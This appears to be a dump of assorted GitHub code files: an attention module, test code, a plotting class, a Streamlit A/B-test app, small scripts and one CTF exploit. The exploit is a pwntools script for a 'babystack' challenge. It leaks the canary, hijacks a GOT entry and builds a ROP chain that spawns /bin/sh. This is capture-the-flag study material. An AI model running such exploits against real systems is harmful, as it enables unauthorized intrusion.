app()\n","repo_name":"YannBeauxis/postgrest-python-poc","sub_path":"herbaltea-classifier/herbaltea_classifier/adapters/cli.py","file_name":"cli.py","file_ext":"py","file_size_in_byte":1108,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"12975369918","text":"from expensesapp.models import Transaction\nfrom expensesapp.services import create_report\nfrom expensesapp.services import save_transactions\n\n\ndef save_expense_transaction(db):\n db.session.add(\n Transaction(\n date=\"2022-07-01\",\n type=\"Expense\",\n amount=10,\n memo=\"sample_address\",\n )\n )\n db.session.commit()\n\n\ndef save_income_transaction(db):\n db.session.add(\n Transaction(\n date=\"2022-07-01\",\n type=\"Income\",\n amount=20,\n memo=\"sample_address\",\n )\n )\n db.session.commit()\n\n\ndef test_create_report(setup_db):\n app, db = setup_db\n\n with app.app_context():\n for i in range(3):\n save_income_transaction(db)\n for i in range(3):\n save_expense_transaction(db)\n\n rep = create_report()\n\n assert rep.gross_revenue == 60\n assert rep.expenses == 30\n assert rep.net_revenue == 30\n\n","repo_name":"ThanKarab/expenses_webapp","sub_path":"tests/integration/test_create_report.py","file_name":"test_create_report.py","file_ext":"py","file_size_in_byte":973,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"13546198619","text":"# This file is the implementation of Nystromformer introduced in \n# \"Nystromformer: A Nystrom-based Algorithm for Approximating Self-Attention\"\n# Supported pattern of the code: Noncausal Self.\n# The code comes from https://github.com/mlpen/Nystromformer.\n\nimport math\nfrom typing import Dict, Optional, Tuple\nimport warnings\n\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nfrom torch import Tensor\n\nfrom efficient_attention import MultiheadAttention, register_cls, add_nested_argument\n\n\n@register_cls\nclass NystromAttention(MultiheadAttention):\n r\"\"\"\n Usage:\n \n from efficient_attention import NystromAttention\n attn = NystromAttention(embed_dim=embed_dim, num_heads=num_heads,num_landmarks=num_landmarks, dropout=dropout, conv_kernel_size=conv_kernel_size)\n\n result, _ = attn(query, key, value, key_padding_mask=key_padding_mask, batch_first=batch_first, query_padding_mask=query_padding_mask)\n \n \"\"\"\n \n def __init__(self, num_landmarks=16, conv_kernel_size=None, **kwargs):\n super().__init__(**kwargs)\n assert self.causal == False, f\"{self.name} cannot do causal attention now\"\n assert self.cross == False, f\"{self.name} cannot do cross attention now\"\n\n self.num_landmarks = num_landmarks\n\n self.conv = None\n if conv_kernel_size is not None:\n self.conv = nn.Conv2d(\n in_channels=self.num_heads, out_channels=self.num_heads,\n kernel_size=(conv_kernel_size, 1), padding=(conv_kernel_size // 2, 0),\n bias=False,\n groups=self.num_heads)\n\n def _apply_attention(\n self,\n q: Tensor,\n k: Tensor,\n v: Tensor,\n bsz: int,\n attn_mask: Optional[Tensor] = None,\n query_padding_mask: Optional[Tensor] = None,\n key_padding_mask: Optional[Tensor] = None,\n incremental_state: Optional[Dict[str, Dict[str, Optional[Tensor]]]] = None,\n ) -> Tuple[Tensor, Optional[Tensor]]:\n r\"\"\"\n Computes Nystrom attention on query, key and value tensors, using\n an optional attention mask if passed, and applying dropout if a probability\n greater than 0.0 is specified.\n Returns a tensor pair containing attended values and attention weights.\n Args:\n q (Tensor): query tensors. :math:`(B, Nt, E)` where B is batch size, Nt is the sequence length of query,\n and E is embedding dimension.\n k (Tensor): key tensors. :math:`(B, Ns, E)` where B is batch size, Nt is the sequence length of key,\n and E is embedding dimension.\n v (Tensor): value tensors. :math:`(B, Ns, E)` where B is batch size, Nt is the sequence length of value,\n and E is embedding dimension.\n bsz (int): batch size\n attn_mask (Optional[Tensor], optional): optional tensor containing mask values to be added to calculated\n attention; either a 3D tensor of shape :math:`(B, Nt, Ns)` or a 2D tensor of\n shape :math:`(Nt, Ns)`. Defaults to None.\n query_padding_mask (Optional[Tensor], optional): If specified, a mask of shape :math:`(B, Nt)` indicating \n which elements within ``query`` to ignore for the purpose of attention (i.e. treat as \"padding\"). \n Binary and byte masks are supported. For a binary mask, a ``True`` value indicates that the corresponding \n ``query`` value will be ignored for the purpose of attention. For a byte mask, a non-zero value \n Indicates that the corresponding ``query`` value will be ignored. Defaults to None.\n key_padding_mask (Optional[Tensor], optional): If specified, a mask of shape :math:`(B, NS)` indicating \n which elements within ``key`` to ignore for the purpose of attention (i.e. treat as \"padding\"). \n Binary and byte masks are supported. For a binary mask, a ``True`` value indicates that the corresponding \n ``key`` value will be ignored for the purpose of attention. For a byte mask, a non-zero value \n Indicates that the corresponding ``key`` value will be ignored. Defaults to None.\n incremental_state (Optional[Dict[str, Dict[str, Optional[Tensor]]]], optional): If specified, it caches historical \n internal key, value and key_padding_mask states: saved_state=incremental_state[self.name], and saved_state \n has three components: ``prev_key`` :math: `(B, N_{<=i}, E)`, ``prev_value`` :math: `(B, N_{<=i}, E)`, and \n ``prev_key_padding_mask` :math: `(B, N_{<=i})`. Defaults to None.\n\n Returns:\n Tuple[Tensor, Tensor]: attention values have shape :math:`(B, Nt, E)`; attention weights\n have shape :math:`(B, Nt, Ns)`\n \"\"\"\n if attn_mask is not None:\n warnings.warn(\"`attn_mask` arguments make no sense in `NystromAttention`\")\n # assert attn_mask is None, 'causal attention is not supported now!'\n B, N, D = q.shape # [B * num_heads, N, D]\n if key_padding_mask is not None:\n mask = key_padding_mask.unsqueeze(-1).repeat(self.num_heads, 1, 1).type_as(v)\n v = v * (1. - mask)\n k = k * (1. - mask)\n q = q / math.sqrt(self.head_dim)\n k = k / math.sqrt(self.head_dim)\n segs = N // self.num_landmarks\n if N <= self.num_landmarks:\n attn_logits = q @ k.transpose(-1, -2)\n if key_padding_mask is not None:\n attn_logits = attn_logits.masked_fill(\n key_padding_mask.unsqueeze(-2).repeat(self.num_heads, 1, 1).to(torch.bool),\n float(\"-inf\"))\n attn = F.softmax(attn_logits, dim=-1)\n X = torch.matmul(attn, v)\n else:\n if (N % self.num_landmarks == 0):\n Q_landmarks = q.reshape(B, self.num_landmarks, N // self.num_landmarks, D).mean(dim=-2)\n K_landmarks = k.reshape(B, self.num_landmarks, N // self.num_landmarks, D).mean(dim=-2)\n else:\n num_k = (segs + 1) * self.num_landmarks - N\n\n keys_landmarks_f = k[:, :num_k * segs, :].reshape(\n B, num_k, segs, D).mean(dim=-2)\n keys_landmarks_l = k[:, num_k * segs:, :].reshape(\n B, self.num_landmarks - num_k, segs + 1, D).mean(dim=-2)\n K_landmarks = torch.cat((keys_landmarks_f, keys_landmarks_l), dim=-2)\n\n queries_landmarks_f = q[:, :num_k * segs, :].reshape(\n B, num_k, segs, D).mean(dim=-2)\n queries_landmarks_l = q[:, num_k * segs:, :].reshape(\n B, self.num_landmarks - num_k, segs + 1, D).mean(dim=-2)\n Q_landmarks = torch.cat((queries_landmarks_f, queries_landmarks_l), dim=-2)\n\n kernel_1 = F.softmax(torch.matmul(q, K_landmarks.transpose(-1, -2)), dim=-1)\n kernel_2 = F.softmax(torch.matmul(Q_landmarks, K_landmarks.transpose(-1, -2)), dim=-1)\n kernel_3_logits = torch.matmul(Q_landmarks, k.transpose(-1, -2))\n if key_padding_mask is not None:\n kernel_3_logits = kernel_3_logits.masked_fill(\n key_padding_mask.unsqueeze(-2).repeat(self.num_heads, 1, 1).to(torch.bool),\n float(\"-inf\")\n )\n kernel_3 = F.softmax(kernel_3_logits, dim=-1)\n\n X = torch.matmul(torch.matmul(kernel_1, self.iterative_inv(kernel_2)), torch.matmul(kernel_3, v))\n\n if self.conv is not None:\n conv_v = v.reshape(bsz, self.num_heads, -1, self.head_dim)\n conv_output = self.conv(conv_v)\n X += conv_output.reshape(bsz * self.num_heads, -1, self.head_dim)\n # X += self.conv(v)\n # if key_padding_mask is not None:\n # X += self.conv(v * (1. - key_padding_mask.float().unsqueeze(-1).repeat(self.num_heads, 1, 1)))\n # else:\n # X += self.conv(v)\n return X, None\n\n def iterative_inv(self, mat, n_iter=6):\n I = torch.eye(mat.size(-1), device=mat.device, dtype=mat.dtype)\n K = mat\n # The entries of K are positive and ||K||_{\\infty} = 1 due to softmax\n # This original implementation is more conservative to compute coefficient of Z_0.\n V = 1 / torch.max(torch.sum(K, dim=-2)) * K.transpose(-1, -2)\n for _ in range(n_iter):\n KV = torch.matmul(K, V)\n V = torch.matmul(0.25 * V, 13 * I - torch.matmul(KV, 15 * I - torch.matmul(KV, 7 * I - KV)))\n return V\n \n @staticmethod\n def add_attn_specific_args(parent_parser):\n if hasattr(super(NystromAttention, NystromAttention), \"add_attn_specific_args\"):\n parent_parser = super(NystromAttention, NystromAttention).add_attn_specific_args(parent_parser)\n parser = parent_parser.add_argument_group(\"Attention\")\n add_nested_argument(parser, '--conv-kernel-size', default=None, type=int,\n help='number of random features')\n add_nested_argument(parser, '--num-landmarks', default=16, type=int,\n help='number of random features')\n return parent_parser\n","repo_name":"Shark-NLP/CAB","sub_path":"efficient-attention/efficient_attention/modules/nystrom_attention.py","file_name":"nystrom_attention.py","file_ext":"py","file_size_in_byte":9289,"program_lang":"python","lang":"en","doc_type":"code","stars":21,"dataset":"github-code","pt":"61"} +{"seq_id":"8233540138","text":"#!/usr/bin/python\n# -*- coding: UTF-8 -*-\nfrom pwn import *\nimport time\n\ncontext.arch = 'amd64'\n\nif args.REMOTE:\n p = remote('chall.ctf.bamboofox.tw', '10102')\nelse:\n p = process(\"./babystack\")\n # p = process([\"./lib/ld-2.29.so\", \"./babystack\"], env={\"LD_PRELOAD\" : \"./lib/libc-2.29.so\"})\n\n\t\nbss = 0x4034c8\nstack_fail_got = 0x403420\nleave_ret = 0x401235\nsyscall = 0x401437\n\np.sendafter(\"Name: \\n\", 'A'*0x10)\np.sendafter(\"Hello, please give me your token: \\n\", \"BBBBBBBBBBBBBBBB\")\n\np.sendafter(\"str1: \\n\", cyclic(0x9))\n\noutput = p.recvline()\n\ncanary = u64(output[0x9:0x10].rjust(8, '\\x00'))\naddr = u64(output[0x10:-1].ljust(8, '\\x00'))\n\np.sendafter(\"str2: \\n\", cyclic(0xf))\n\naddr2 = u64(p.recvline()[0xf:-1].ljust(8, '\\x00'))\n\n\np.sendafter(\"str1: \\n\", \"\\x00\" + cyclic(0xf))\np.sendafter(\"str2: \\n\", cyclic(0x28) + p64(canary) + p64(stack_fail_got + 0x50))\n\ntime.sleep(0.5)\np.send(p64(0x4013fd))\n\n\ndef build_rop(addr, payload):\n info(\"build_rop\")\n time.sleep(0.5)\n p.send(\"\\x00\" + cyclic(0xf))\n\n time.sleep(0.5)\n p.send(cyclic(0x28) + p64(canary) + p64(addr))\n\n time.sleep(0.5)\n p.send(payload)\n\n\nbuild_rop(bss, flat(flat(0x4014b2, 1, 1)))\nbuild_rop(bss+0x18, flat(1, 1, 1))\nbuild_rop(bss+0x30, flat(1, 0x4010f8, 0x61))\nbuild_rop(bss+0x48, flat(0x4014b2, 1, 0x403508))\n\nbuild_rop(bss+0x60, flat(0x403560, 2, 1))\nbuild_rop(bss+0x78, flat(0, 0x401498, canary))\n\nbuild_rop(bss+0x98, flat(0x4010f8, 0x7b, 0x4014b2))\nbuild_rop(bss+0xb0, flat(0, 0, 0x403568))\nbuild_rop(bss+0xc8, flat(0x403560, 0, 0))\nbuild_rop(bss+0xe0, flat(0x401498,\"/bin/sh\\0\", syscall))\n\n\ninfo(\"final\")\ntime.sleep(0.5)\np.send(\"\\x00\" + cyclic(0xf))\n\ntime.sleep(0.5)\np.send(cyclic(0x28) + p64(canary) + p64(stack_fail_got + 0x50))\n\ntime.sleep(0.5)\npause()\np.send(flat(leave_ret))\n\np.interactive()\np.close()","repo_name":"JyunD/CTF","sub_path":"bamboofox/Babystack/exploit_dup2.py","file_name":"exploit_dup2.py","file_ext":"py","file_size_in_byte":1797,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"70907917633","text":"\"\"\"\n\"\"\"\n\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport json\n\nclass MetricsVisualizer:\n \"\"\"\n Implements several visualizations for the segmentation model metrics.\n\n Useful reference for the meaning of the AP and AR values:\n https://towardsdatascience.com/map-mean-average-precision-might-confuse-you-5956f1bfa9e2\n\n Attributes:\n train_metrics: a dictionary containing the training metrics.\n validation_metrics: a dictionary containing the validation metrics.\n\n #TODO: some methods need documentation.\n \"\"\"\n\n def __init__(\n self,\n train_log_path: str,\n validation_log_path: str\n ):\n \"\"\"\n Initializes the visualizer.\n\n Args:\n train_log_path: a string containing the path to the .json\n file containing the training metrics.\n validation_log_path: a string containing the path to the \n .json file containing the validation metrics.\n \"\"\"\n\n self.train_metrics = self._load_train_log(train_log_path)\n self.validation_metrics = self._load_validation_log(validation_log_path)\n\n def _load_train_log(\n self,\n train_log_path: str\n ):\n \"\"\"\n Read the training log file and load the metrics.\n\n Args:\n train_log_path: a string containing the path to the .json\n file containing the training metrics.\n\n Returns:\n a dictionary containing each training metric as the key. Each\n metric is represented as a list, ordered by the epoch that the\n value was generated.\n \"\"\"\n training_data = None\n with open(train_log_path, \"r\") as input:\n training_data = json.load(input)\n\n epochs = []\n lr = []\n loss = []\n loss_classifier = []\n loss_box_reg = []\n loss_mask = []\n loss_objectness = []\n loss_rpn_box_reg = []\n\n for epoch in training_data:\n epochs.append(int(epoch))\n epoch_data = training_data[epoch]\n \n lr.append(epoch_data['lr'])\n loss.append(epoch_data['loss'])\n loss_classifier.append(epoch_data['loss_classifier'])\n loss_box_reg.append(epoch_data['loss_box_reg'])\n loss_mask.append(epoch_data['loss_mask'])\n loss_objectness.append(epoch_data['loss_objectness'])\n loss_rpn_box_reg.append(epoch_data['loss_rpn_box_reg'])\n\n return {'epochs': epochs, \n 'lr':lr,\n 'loss':loss,\n 'loss_classifier':loss_classifier,\n 'loss_box_reg':loss_box_reg,\n 'loss_mask':loss_mask,\n 'loss_objectness': loss_objectness,\n 'loss_rpn_box_reg': loss_rpn_box_reg}\n \n def _load_validation_log(\n self,\n validation_log_path: str\n ):\n \"\"\"\n Read the validation log file and load the metrics.\n\n Args:\n validation_log_path: a string containing the path to the .json\n file containing the validation metrics.\n\n Returns:\n a dictionary containing each validation metric as the key. Each\n metric is represented as a Numpy array, ordered by the epoch that\n the value was generated.\n \"\"\"\n\n testing_data = None\n with open(validation_log_path, \"r\") as input:\n testing_data = json.load(input)\n\n epochs = []\n bbox = []\n segm = []\n\n for epoch in testing_data:\n epochs.append(int(epoch))\n bbox.append(testing_data[epoch]['bbox'])\n segm.append(testing_data[epoch]['segm'])\n\n return {'epochs': epochs,\n 'bbox': np.array(bbox),\n 'segm': np.array(segm)}\n \n def plot_training_loss_metrics_separated(self):\n plt.figure()\n plt.suptitle('Training losses', fontsize=18)\n plt.subplots_adjust(top=0.935,\n bottom=0.06,\n left=0.04,\n right=0.96,\n hspace=0.4,\n wspace=0.155)\n \n loss_metrics = list(self.train_metrics.keys())[2:]\n for i, loss_metric in zip(range(len(loss_metrics)), loss_metrics):\n plt.subplot(3, 2, i + 1)\n plt.plot(self.train_metrics['epochs'], self.train_metrics[loss_metric])\n \n if loss_metric == 'loss':\n plt.title('loss_sum')\n else:\n plt.title(loss_metric)\n\n plt.xlabel('Epochs')\n plt.ylabel('Loss')\n\n plt.show()\n\n def plot_training_loss_metrics_together(self):\n plt.figure()\n plt.suptitle('Training losses', fontsize=18)\n \n loss_metrics = list(self.train_metrics.keys())[2:]\n for loss_metric in loss_metrics:\n plt.plot(self.train_metrics['epochs'], self.train_metrics[loss_metric], label=loss_metric)\n \n plt.xlabel('Epochs')\n plt.ylabel('Loss')\n plt.legend()\n plt.show()\n\n def plot_training_loss_and_lr(self):\n fig, ax1 = plt.subplots()\n plt.suptitle('Training losses and learning rate', fontsize=18)\n \n loss_metrics = list(self.train_metrics.keys())[2:]\n for loss_metric in loss_metrics:\n ax1.plot(self.train_metrics['epochs'], self.train_metrics[loss_metric], label=loss_metric)\n\n ax1.legend()\n ax1.set_ylabel('Loss')\n ax1.set_xlabel('Epochs')\n \n ax2=ax1.twinx()\n ax2.set_yscale('log')\n ax2.plot(self.train_metrics['epochs'], self.train_metrics['lr'], 'b', label='lr')\n ax2.set_ylabel('Learning Rate')\n ax2.legend(loc=0)\n \n plt.show()\n\n def plot_learning_rate(self):\n plt.figure()\n plt.suptitle('Learning rate', fontsize=18)\n plt.plot(self.train_metrics['epochs'], self.train_metrics['lr'])\n plt.yscale('log')\n plt.xlabel('Epochs')\n plt.ylabel('Learning Rate')\n plt.show()\n\n #type = 'bbox' or 'segm'\n def plot_testing_metrics(self, type):\n plt.figure()\n if type == 'bbox':\n plt.suptitle('Bounding box testing metrics', fontsize=18)\n elif type == 'segm':\n plt.suptitle('Segmentation mask testing metrics', fontsize=18)\n \n plt.subplots_adjust(top=0.935,\n bottom=0.06,\n left=0.04,\n right=0.96,\n hspace=0.38,\n wspace=0.155)\n\n plt.subplot(3, 2, 1)\n plt.plot(self.validation_metrics['epochs'], self.validation_metrics[type][:,0])\n plt.title('AP at IoU=.50:.05:.95')\n plt.xlabel('Epochs')\n plt.ylabel('Average Precision')\n\n plt.subplot(3, 2, 3)\n plt.plot(self.validation_metrics['epochs'], self.validation_metrics[type][:,1])\n plt.title('AP at IoU=.50')\n plt.xlabel('Epochs')\n plt.ylabel('Average Precision')\n\n plt.subplot(3, 2, 5)\n plt.plot(self.validation_metrics['epochs'], self.validation_metrics[type][:,2])\n plt.title('AP at IoU=.75')\n plt.xlabel('Epochs')\n plt.ylabel('Average Precision')\n\n plt.subplot(3, 2, 2)\n plt.plot(self.validation_metrics['epochs'], self.validation_metrics[type][:,6])\n plt.title('AR given 1 detection per image')\n plt.xlabel('Epochs')\n plt.ylabel('Average Recall')\n\n plt.subplot(3, 2, 4)\n plt.plot(self.validation_metrics['epochs'], self.validation_metrics[type][:,7])\n plt.title('AR given 10 detections per image')\n plt.xlabel('Epochs')\n plt.ylabel('Average Recall')\n\n plt.subplot(3, 2, 6)\n plt.plot(self.validation_metrics['epochs'], self.validation_metrics[type][:,8])\n plt.title('AR given 100 detections per image')\n plt.xlabel('Epochs')\n plt.ylabel('Average Recall')\n \n plt.show()\n\n def plot_testing_metrics_comparatively(self, type):\n plt.figure()\n \n plt.subplots_adjust(top=0.895,\n bottom=0.065,\n left=0.125,\n right=0.9,\n hspace=0.24,\n wspace=0.2)\n\n if type == 'bbox':\n plt.suptitle('Bounding box testing metrics', fontsize=18)\n elif type == 'segm':\n plt.suptitle('Segmentation mask testing metrics', fontsize=18)\n\n plt.subplot(2, 1, 1)\n plt.plot(self.validation_metrics['epochs'], self.validation_metrics[type][:,0], label='AP at IoU=.50:.05:.95')\n plt.plot(self.validation_metrics['epochs'], self.validation_metrics[type][:,1], label='AP at IoU=.50')\n plt.plot(self.validation_metrics['epochs'], self.validation_metrics[type][:,2], label='AP at IoU=.75')\n plt.title('Average Precision (AP)')\n plt.xlabel('Epochs')\n plt.ylabel('Average Precision')\n plt.legend(loc='lower left')\n\n plt.subplot(2, 1, 2)\n plt.plot(self.validation_metrics['epochs'], self.validation_metrics[type][:,6], label='AR given 1 detection per image')\n plt.plot(self.validation_metrics['epochs'], self.validation_metrics[type][:,7], label='AR given 10 detections per image')\n plt.plot(self.validation_metrics['epochs'], self.validation_metrics[type][:,8], label='AR given 100 detections per image')\n plt.title('Average Recall (RP)')\n plt.xlabel('Epochs')\n plt.ylabel('Average Recall')\n plt.legend(loc='lower left')\n \n plt.show()\n\n def plot_relevant_metrics(self):\n plt.figure()\n\n plt.subplot(1, 2, 1)\n loss_metrics = list(self.train_metrics.keys())[2:]\n for loss_metric in loss_metrics:\n plt.plot(self.train_metrics['epochs'], self.train_metrics[loss_metric], label=loss_metric)\n plt.title('Training loss')\n plt.xlabel('Epochs')\n plt.ylabel('Loss')\n plt.legend()\n\n plt.subplot(1, 2, 2)\n plt.plot(self.validation_metrics['epochs'], self.validation_metrics['bbox'][:,0], label='AP at IoU=.50:.05:.95')\n plt.plot(self.validation_metrics['epochs'], self.validation_metrics['bbox'][:,8], label='AR given 100 detections per image')\n plt.title('Validation metrics')\n plt.xlabel('Epochs')\n plt.ylabel('Metric')\n plt.legend()\n plt.show()\n\n\nif __name__ == '__main__':\n metrics = MetricsVisualizer(\n '/home/daslab/Documents/dev/catkin_ws/src/ts_semantic_feature_detector/log/train_log.json',\n '/home/daslab/Documents/dev/catkin_ws/src/ts_semantic_feature_detector/log/validation_log.json'\n )\n metrics.plot_relevant_metrics()\n metrics.plot_training_loss_metrics_together()\n metrics.plot_testing_metrics_comparatively('segm')","repo_name":"toschilt/ts_semantic_feature_detector","sub_path":"src/ts_semantic_feature_detector/segmentation_model/visualization/log.py","file_name":"log.py","file_ext":"py","file_size_in_byte":10939,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"33432986696","text":"with open('D:\\\\Python\\\\Python Course with Notes\\\\currency_exchange.txt') as f:\r\n rates = f.readlines()\r\n\r\ncurrencyDict ={}\r\nfor rate in rates:\r\n parsed = rate.split('\\t')\r\n currencyDict[parsed[0]] = parsed[1]\r\n\r\namount = int(input(\"Enter the amount : \"))\r\nprint('''Enter the Currenncy you want to convert this into\r\nbelow are the available Options ''')\r\n[print(item) for item in currencyDict.keys()]\r\ncurrency = input(\"Enter one of the currencies: \\n\")\r\nprint(f\"{amount} INR is Equal to {amount* float(currencyDict[currency])} {currency}\")\r\n","repo_name":"sahil78272026/currencyConvertor","sub_path":"currency_convertor.py","file_name":"currency_convertor.py","file_ext":"py","file_size_in_byte":551,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"30263475305","text":"#importamos las librerias necesarias\nimport pandas as pd\nimport numpy as np\nfrom statsmodels.stats.proportion import proportions_ztest\nimport time\nimport streamlit as st\nimport matplotlib.pyplot as plt\n \n\n#aca comienza la visualizacion con streamlit\nimport streamlit as st \n\n# lectura de los datos y carga a la variable data_mk\ndata_mk1 = pd.read_csv(\"marketing_AB.csv\")\n\n# titulo y encabezado\nst.title(\"A/B Estudio De Marketing 📈\")\nst.subheader(\" _Herramientas: Python y Streamlit_\")\nst.write(\"Realizamos un estudio A/B, que es un proceso de experimentaición aleatorio en el que dos o más versiones de una variable (página web, elemento de página, banner, etc.) se muestran a diferentes segmentos de personas al mismo tiempo para determinar qué versión. deja el máximo impacto e impulsa las métricas comerciales. Se buscó responder las preguntas como, ¿tuvo éxito la campaña? Y si tuvo éxito, ¿cuanto de ese éxito es por anuncios?. La idea fue analizar los grupos, encontrar si los anuncios tuvieron éxito y si la diferencia entre los grupos es significativa.\")\n\n\nst.sidebar.header(\"Elegí las opciones:\")\n\n\n# confianza del sidebar\nconfianza_costado = st.sidebar.radio('Elegí el grado de confianza:', [0.95, 0.99, 0.90])\n\n# muestra del sidebar\nmax_filas=data_mk1.shape[0]\nmuestra_costado = st.sidebar.slider(\"Elegí el tamaño de la muestra\", min_value=0, max_value=max_filas)\ndata_mk = data_mk1.sample(n = muestra_costado, replace = True)\n\n\nif confianza_costado == 0.99:\n alphavalor = 0.01\nelif confianza_costado == 0.95:\n alphavalor = 0.05\nelse:\n alphavalor = 0.10\n\nst.sidebar.metric(label=\"Alpha\", value=alphavalor) \n\nst.sidebar.caption(\"El dataset utilizado cuenta con Licencia CCO Public Domain.\")\nst.sidebar.markdown(\"[Consulta el DataSet](https://www.kaggle.com/datasets/faviovaz/marketing-ab-testing?resource=download)\")\n\n# grafico psa y ad\ntipo_converted=data_mk.groupby(by=[\"test group\"]).count()[\"user id\"]\narray_datos= np.array(tipo_converted)\nllaves_etiquetas=tipo_converted.keys()\n\n\nfig, ax = plt.subplots(figsize=(30,6))\nax.pie(tipo_converted, labels=llaves_etiquetas, autopct='%1.1f%%', colors=[\"grey\",\"purple\"],shadow=True)\n\ncol1, col2 = st.columns(2)\nwith col1:\n st.write(\"Realizamos un gráfico de torta: donde ad=son las personas que vieron el anuncio, y psa= solo vieron el anunico público.\")\n st.pyplot(fig, use_container_width=True)\n\n\n#quienes compraron y vieron el anuncio, vamos a hacer el grafico 1.\ntipo_cliente=data_mk.groupby(by=[\"converted\",\"test group\"])[\"user id\"].count()\nkeysvar=tipo_cliente.keys()\narreylab_com = []\n\n\nfor llave in keysvar:\n if llave[0] == False:\n convierte = \"no compro\"\n else:\n convierte = \"compro\" \n arreylab_com.append(convierte + \"_\" + llave[1])\n\n\narreydato_com = []\n\nfor dato in tipo_cliente: \n arreydato_com.append(dato)\n \n\n\n#vamos a hacer el grafico 2.\nfig1, ax1 = plt.subplots(figsize=(30,6))\nax1.pie(arreydato_com, labels=arreylab_com, autopct='%1.1f%%', colors=[\"grey\",\"pink\"],shadow=True)\n\n \nwith col2:\n \n st.write(\"Hemos creado un segundo gráfico circular que muestra las distintas categorías de interacción de los usuarios con los anuncios.\")\n st.pyplot(fig1, use_container_width=True)\n\n#Renombro columnas\ndata_mk.rename(columns=lambda col: col.strip().replace(\" \",\"_\"),inplace=True)\ndata_mk[\"converted\"] = data_mk[\"converted\"].astype(int)\n\ntratamiento_ad = data_mk.query('test_group == \"ad\"')\ncontrol_psa = data_mk.query('test_group == \"psa\"')\n\ntasa_trat = str(round((tratamiento_ad['converted'].mean())*100, 0)) + \"%\"\ntasa_controlpsa = str(round(control_psa['converted'].mean()*100, 0)) + \"%\"\ntasa_datamk = str(round(data_mk['converted'].mean()*100, 0)) + \"%\"\n\n\n#vamos a hacer kpi de conversion.\nst.header(\"Tasa de conversión\")\ncol1, col2, col3= st.columns(3)\n\nwith col1:\n st.metric('Conversión AD', tasa_trat, ) \nwith col2:\n st.metric('Conversión PSA', tasa_controlpsa, ) \nwith col3:\n st.metric('Conversión Total', tasa_datamk, )\n\nst.info(\"¿Es la tasa de conversión ad lo suficientemente significativa respecto a la de conversión psa? Para esto realizamos la prueba de hipotesis en base a los datos seleccionados por el usuario en el lado izquierdo de la página\")\nst.header(\"Análsis A/B Final\")\n\n\n\n### Definición de hipotesis:\nst.write(\"H0= No existen diferencias entre si vió el anuncio o no vió el anuncio.\")\nst.write(\"H1= Si existen diferencias entre si vió el anuncio y no vió el anuncio.\")\n\n\ncon_ad=len(tratamiento_ad.query('converted == 1'))\ntotal_vis=len(tratamiento_ad)\nc_psa=len(control_psa.query('converted == 1'))\ntotal_novis=len(control_psa) \n\n\narray_convirtio=np.array([con_ad, c_psa])\narray_visualiza=np.array([total_vis, total_novis])\n\n\n#calculos con ztest en ambas direcciones\npvalor= proportions_ztest(count=array_convirtio, nobs=array_visualiza)[1]\ntvalor=proportions_ztest(count=array_convirtio, nobs=array_visualiza)[0]\n\nst.write(\"Se deja el parametro 'alternative' que plantea por defecto probar si hay una diferencia signficativa en ambas direcciones.\")\n\ntable = {\n \"pvalor\": pvalor,\n \"tvalor\": tvalor\n}\n\nst.dataframe(table)\n\n\nst.subheader(\"Resultado del Z test\")\n\nif pvalor 0:\n kit_per_packages.append(kit_per_package)\n kit_per_packages.sort()\n kit_per_packages_item.append(kit_per_packages)\n # print(kit_per_packages_item)\n\n for i_target_kit_per_package, target_kit_per_package in enumerate(kit_per_packages_item[0]):\n for target_kit in target_kit_per_package:\n i_package_each_item = [-1] * N\n i_package_each_item[0] = i_target_kit_per_package\n for i_item in range(1, N):\n for i_package in range(len(kit_per_packages_item[i_item])):\n if target_kit in kit_per_packages_item[i_item][i_package]:\n i_package_each_item[i_item] = i_package\n break\n if -1 not in i_package_each_item:\n ANS += 1\n for i_item in range(1, N):\n del(kit_per_packages_item[i_item][i_package_each_item[i_item]])\n break\n\n print('Case #{}: {}'.format(t, ANS))\n","repo_name":"dr-dos-ok/Code_Jam_Webscraper","sub_path":"solutions_python/Problem_204/110.py","file_name":"110.py","file_ext":"py","file_size_in_byte":1709,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"6505788176","text":"import graph18\n\ndef main():\n '''\n basically just test all of the features\n '''\n\n two_train = graph18.Train(2)\n two_plus_train = graph18.Train(2)\n three_train = graph18.Train(3)\n three_plus_train = graph18.Train(3)\n\n prr = graph18.Company('Pennsylvannia RailRoad', [two_train])\n nyc = graph18.Company('New York Central', [two_train, two_train])\n bo = graph18.Company('Baltimore & Ohio', [two_train])\n nynh = graph18.nynh\n\n bo.add_train(three_train)\n nynh.add_train(two_train)\n\n\n G = graph18.Graph()\n nodes = dict()\n nodes['a'] = graph18.City(pos=(0,0), value=10, color=graph18.colors.y, stop_type='city', capacity=1)\n nodes['b'] = graph18.City(pos=(0,1), value=30, color=graph18.colors.y, stop_type='city', capacity=1, owners=[prr])\n nodes['c'] = graph18.City(pos=(0,2), value=20, color=graph18.colors.g, stop_type='city', capacity=1, owners=[bo])\n nodes['d'] = graph18.City(pos=(0,3), value=10, color=graph18.colors.g, stop_type='town', capacity=1)\n nodes['e'] = graph18.City(pos=(2,1), value=20, color=graph18.colors.b, stop_type='city', capacity=1, owners=[nynh])\n nodes['f'] = graph18.City(pos=(2,2), value=10, color=graph18.colors.y, stop_type='town', capacity=1)\n nodes['g'] = graph18.City(pos=(2,3), value=40, color=graph18.colors.y, stop_type='city', capacity=2)\n\n G.add_rail(nodes['a'], nodes['b'])\n G.add_rail(nodes['b'], nodes['b'])\n G.add_rail(nodes['a'], nodes['c'])\n G.add_rail(nodes['a'], nodes['d'])\n G.add_rail(nodes['e'], nodes['f'])\n G.add_rail(nodes['d'], nodes['g'])\n G.add_rail(nodes['e'], nodes['g'])\n G.add_rail(nodes['d'], nodes['b'])\n G.add_rail(nodes['c'], nodes['e'])\n\n # Plot the entire graph\n graph18.draw_18xx(G, title='Example 18xx graph')\n\n # Plot the entire graph highlighting bo tokens\n accessible_nodes = bo.get_perspective(G)\n graph18.draw_18xx(G, company=bo, 